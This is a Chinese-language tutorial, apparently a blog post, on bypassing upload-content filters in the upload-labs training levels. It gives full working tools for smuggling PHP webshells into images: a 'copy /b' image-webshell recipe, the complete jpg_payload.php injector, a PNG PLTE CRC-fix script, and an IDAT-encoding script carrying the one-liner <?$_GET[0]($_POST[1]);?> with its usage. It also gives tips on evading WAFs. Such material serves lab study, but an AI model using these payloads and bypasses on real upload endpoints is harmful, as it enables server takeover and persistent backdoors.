文件内容检测绕过

通过在文件中添加正常文件的标识或其他关键字符绕过。

内容检测绕过 upload-labs-Pass-13 [文件头绕过]

看一下13关的源码[这里说一下该关卡的过关技巧,“利用图片马”]。

制作图片马方法1

准备一张图片与shell文件[两个文件最在同一路径下]

然后进入 cmd 终端

命令: copy name.jpg/b+name.php/a new_name.jpg	[这里的a表示ASCII码文件,b表示二进制文件]

此时产生的new_name.jpg就是我们想要的图片马

制作图片马方法2

利用 c32asm 工具修改文件头,并把一句话木马插入到文件最后

为什么要粘贴到最下面?

这是因为如果把木马插入到中间的位置的话会破坏图片的完整性,这样的话图片就不会正常的显示,虽然无法正常显示图片,但插入的代码并不受影响。为了保险起见,还是放在最后为好。

在这里插入图片描述


题外话:像一句话图片马在利用关键字拆分,可变变量、引用、可变函数等方法一般情况下可以过安全狗等WAF,但是像D盾这种多规则的WAF是无效的。

现在我们看看源码


在这里插入图片描述


上途中我们可以看到代码有针对文件内容的头部信息进行检测,就是说代码只检测了文件头信息。[实际情况中,这种方法并不安全,需要结合多种验证方式才能达到安全过滤的效果]


在这里插入图片描述


在这里插入图片描述


二次渲染

关于二次渲染,其实二次渲染并不是一种验证方式。网站容器存在二次渲染只是程序自身一种正常的应用功能,一种为了文件存储规则的格式类型的方式。比如不同大小的文件上传之后为了格式美观的展示需要进行统一的像素展示等等…在二次渲染的过程中,可能就会对我们原本上传的木马文件里的关键脚本进行了破坏,就会造成我们的后门文件无法正常解析的情况。

明白了原理,也就知道了如何绕过二次渲染达到我们上传后门的目的。

二次渲染 upload-labs-Pass-16

看一下源码


在这里插入图片描述


该关卡实际上考核的是二次渲染过关的技巧,但实际代码中的 "move_uploaded_fiel"函数这里存在着逻辑错误,可以利用"条件竞争"达到绕过的目的。忽略,我们看二次渲染。

GIF二次渲染绕过

首先我们先上传一张原始图片,上传成功之后再重新下载下来。[这里使用的是gif格式图片,gif图片的特点是无损,修改图片后,图片质量几乎没有损失。]

然后利用16进制工具比对两张图查看是否存在相同的未删减的部分。然后讲后门脚本写入该相同未删减部分重新生成一个图片马即可。

途中蓝色部分就是原始图片与二次渲染的两张图片相同的未删减部分


在这里插入图片描述


将后门脚本写入蓝色的相同未删减部分


在这里插入图片描述


上传后在下载到本地使用16进制编辑器打开


在这里插入图片描述


可以看到php脚本没有过滤,成功上传图片马,二次渲染绕过成功。

JPG二次渲染绕过

需要注意的地方,由于jpg图片易损,对图片的选取有很大关系,很容易制作失败,这个时候可以尝试多换几个JPG。

从先知社区与其他一些技术文章得到的答案大多数使采用国外一位大牛编写的 “jpg_payload.php” 脚本对JPG文件进行图片马的制作,从而达到绕过二次渲染的效果。

"jpg_payload.php"的脚本

<?php
/*
The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations 
caused by PHP functions imagecopyresized() and imagecopyresampled().
将有效攻击载荷 payload 注入到JPG图像的算法中,在PHP的 imagecopyresized() 和 imagecopyresampled() 两个函数中引起的转换后图片保持不变。


It is necessary that the size and quality of the initial image are the same as those of the processed image.
脚本处理后的初始图像的大小和质量必须与处理后的图像的大小和质量相同。[这个条件很重要,如果大小质量不一,说明制作的图片马损坏,无法绕过二次渲染]


1) Upload an arbitrary image via secured files upload script
2) Save the processed image and launch:
jpg_payload.php <jpg_name.jpg>
结合上下文大概的意思:需要准一个安全的原始JPG图片保存至本地,然后利用脚本命令 "jpg_payload.php xxx.jpg"生成一个新的JPG图片马


In case of successful injection you will get a specially crafted image, which should be uploaded again.
如果payload注入成功,将会得到一个精心制作的图图片马,可以利用该图片马继续上传。


Since the most straightforward injection method is used, the following problems can occur:
这里由于使用的是直接注入的方法,可能会出现以下两个问题:


1) After the second processing the injected data may become partially corrupted.
2) The jpg_payload.php script outputs "Something's wrong".
1、在进行第二次注入的时候,可能会造成图片的损坏无法正常使用
2、"jpg_payload.php" 脚本出现报错


If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.
如果发生这种情况,可以尝试更改payload(例如,在开头添加一些符号)或尝试更换其他的JPG图像。


Sergey Bobrov @Black2Fan.
作者:谢尔盖·博布罗夫@Black2Fan

See also:
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
另请参见:https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

*/

$miniPayload = "<?=phpinfo();?>";


if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
    die('php-gd is not installed');
}

if(!isset($argv[1])) {
    die('php jpg_payload.php <jpg_name.jpg>');
}

set_error_handler("custom_error_handler");

for($pad = 0; $pad < 1024; $pad++) {
    $nullbytePayloadSize = $pad;
    $dis = new DataInputStream($argv[1]);
    $outStream = file_get_contents($argv[1]);
    $extraBytes = 0;
    $correctImage = TRUE;

    if($dis->readShort() != 0xFFD8) {
        die('Incorrect SOI marker');
    }

    while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
        $marker = $dis->readByte();
        $size = $dis->readShort() - 2;
        $dis->skip($size);
        if($marker === 0xDA) {
            $startPos = $dis->seek();
            $outStreamTmp = 
                substr($outStream, 0, $startPos) . 
                $miniPayload . 
                str_repeat("\0",$nullbytePayloadSize) . 
                substr($outStream, $startPos);
            checkImage('_'.$argv[1], $outStreamTmp, TRUE);
            if($extraBytes !== 0) {
                while((!$dis->eof())) {
                    if($dis->readByte() === 0xFF) {
                        if($dis->readByte !== 0x00) {
                            break;
                        }
                    }
                }
                $stopPos = $dis->seek() - 2;
                $imageStreamSize = $stopPos - $startPos;
                $outStream = 
                    substr($outStream, 0, $startPos) . 
                    $miniPayload . 
                    substr(
                        str_repeat("\0",$nullbytePayloadSize).
                            substr($outStream, $startPos, $imageStreamSize),
                        0,
                        $nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
                            substr($outStream, $stopPos);
            } elseif($correctImage) {
                $outStream = $outStreamTmp;
            } else {
                break;
            }
            if(checkImage('payload_'.$argv[1], $outStream)) {
                die('Success!');
            } else {
                break;
            }
        }
    }
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');

function checkImage($filename, $data, $unlink = FALSE) {
    global $correctImage;
    file_put_contents($filename, $data);
    $correctImage = TRUE;
    imagecreatefromjpeg($filename);
    if($unlink)
        unlink($filename);
    return $correctImage;
}

function custom_error_handler($errno, $errstr, $errfile, $errline) {
    global $extraBytes, $correctImage;
    $correctImage = FALSE;
    if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
        if(isset($m[1])) {
            $extraBytes = (int)$m[1];
        }
    }
}

class DataInputStream {
    private $binData;
    private $order;
    private $size;

    public function __construct($filename, $order = false, $fromString = false) {
        $this->binData = '';
        $this->order = $order;
        if(!$fromString) {
            if(!file_exists($filename) || !is_file($filename))
                die('File not exists ['.$filename.']');
            $this->binData = file_get_contents($filename);
        } else {
            $this->binData = $filename;
        }
        $this->size = strlen($this->binData);
    }

    public function seek() {
        return ($this->size - strlen($this->binData));
    }

    public function skip($skip) {
        $this->binData = substr($this->binData, $skip);
    }

    public function readByte() {
        if($this->eof()) {
            die('End Of File');
        }
        $byte = substr($this->binData, 0, 1);
        $this->binData = substr($this->binData, 1);
        return ord($byte);
    }

    public function readShort() {
        if(strlen($this->binData) < 2) {
            die('End Of File');
        }
        $short = substr($this->binData, 0, 2);
        $this->binData = substr($this->binData, 2);
        if($this->order) {
            $short = (ord($short[1]) << 8) + ord($short[0]);
        } else {
            $short = (ord($short[0]) << 8) + ord($short[1]);
        }
        return $short;
    }

    public function eof() {
        return !$this->binData||(strlen($this->binData) === 0);
    }
}
?>

使用脚本处理JPG生成图片马 php jpg_payload.php 1.jpg

使用16进制编辑器打开,就可以看到插入的php代码;


在这里插入图片描述


将生成的 payload_1.jpg进行上传,验证。然后将图片再次下载到本地,使用16进制编辑器打开。


在这里插入图片描述


可以看到,php脚本代码被保留,证明我们成功上传了含有php脚本代码的jpg图片。

PNG二次渲染绕过

PNG的二次渲染绕过可以说是最难的,原因是PNG定义了两种类型的数据块,一种是称为关键数据块(critical chunk),这是标准的数据块,另一种叫做辅助数据块(ancillary chunks),这是可选的数据块。关键数据块定义了3个标准数据块(IHDR,IDAT, IEND),每个PNG文件都必须包含它们。

如果是像GIG、JPG那样的方式去操作很容易损坏图片无法正常利用。

分析一下 PNG 文件组成

数据块结构
名称字节数说明
Length(长度)4字节指定数据块中数据域的长度,其长度不超过(2的31次方-1)字节
Chunk Type Code(数据块类型码)4字节数据块类型码由ASCII字母(A-Z和a-z)组成
Chunk Data(数据块数据)可变长度存储按照Chunk Type Code指定的数据
CRC(循环冗余检测)4字节存储用来检测是否有错误的循环冗余码

CRC(cyclic redundancy check)域中的值是对Chunk Type Code域和Chunk Data域中的数据进行计算得到的。CRC具体算法定义在ISO 3309和ITU-T V.42中,其值按下面的CRC码生成多项式进行计算

x32+x26+x23+x22+x16+x12+x11+x10+x8+x7+x5+x4+x2+x+1

分析数据块

IHDR

数据块IHDR(header chunk):它包含有PNG文件中存储的图像数据的基本信息,并要作为第一个数据块出现在PNG数据流中,而且一个PNG数据流中只能有一个文件头数据块。

文件头数据块由13字节组成,格式如下图所示。

域的名称字节数说明
Width4 bytes图像宽度,以像素为单位
Height4 bytes图像高度,以像素为单位
Bit depth1 bytes图像尝试:
索引彩色图像:1,2,4或8
灰度图像:1,2,4,8或6<>真彩图像:8或16
ColorType1 bytes颜色类型:
灰度图像:1,2,4,8或16<>真彩色图像:8或16
索引彩色图像:1,2,4或8
带a通道数据的灰度图像:8或16
带a通道数据的真彩色图像:8或16
Compression method4 bytes压缩方法(LZ777派生算法)
Filter method4 bytes滤波器方法
Interlace method4 bytes隔行扫描方法:
非隔行扫描
Adam7(由Adam M.Costello开发的7遍隔行扫描方法)

PLTE

调色板PLTE数据块是辅助数据块,对于索引图像,调色板信息是必须的,调色板的颜色索引从0开始编号,然后是1、2……,调色板的颜色数不能超过色深中规定的颜色数(如图像色深为4的时候,调色板中的颜色数不可以超过2^4=16),否则,这将导致PNG图像不合法。

IDAT

图像数据块IDAT(image data chunk):它存储实际的数据,在数据流中可包含多个连续顺序的图像数据块。

IDAT存放着图像真正的数据信息,因此,如果能够了解IDAT的结构,我们就可以很方便的生成PNG图像

IEND

图像结束数据IEND(image trailer chunk):它用来标记PNG文件或者数据流已经结束,并且必须要放在文件的尾部。

如果我们仔细观察PNG文件,我们会发现,文件的结尾12个字符看起来总应该是这样的:

00 00 00 00 49 45 4E 44 AE 42 60 82

第一种方法:写入PLTE数据块

php底层在对PLTE数据块验证的时候,主要进行了CRC校验.所以可以再chunk data域插入php代码,然后重新计算相应的crc值并修改即可。

这种方式只针对索引彩色图像的png图片才有效,在选取png图片时可根据IHDR数据块的color type辨别.03为索引彩色图像。

在PLTE数据块写入php代码【见下图】


在这里插入图片描述


利用脚本计算PLTE数据块的CRC [得到结果:526579b0]

import binascii
import re

png = open(r'2.png','rb')
a = png.read()
png.close()
hexstr = binascii.b2a_hex(a)

''' PLTE crc '''
data =  '504c5445'+ re.findall('504c5445(.*?)49444154',hexstr)[0]
crc = binascii.crc32(data[:-16].decode('hex')) & 0xffffffff
print hex(crc)

修改CRC值


在这里插入图片描述


然后验证,将修改后的png图片上传后,下载到本地再打开。


We2xpR.png


第二种方法:写入IDAT数据块

同样的,也是利用国外大佬的脚本,直接运行即可。

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'./1.png');
?>

这里的一句话木马是<?$_GET[0]($_POST[1]);?>

使用方式是get传参0=xxx,加上post传参1=xxx

运行后得到1.png,上传后再下载到本地打开如下图


在这里插入图片描述


Logo

北京人形旗下天工造物具身智能开源社区,聚焦具身天工与慧思开物两大平台

更多推荐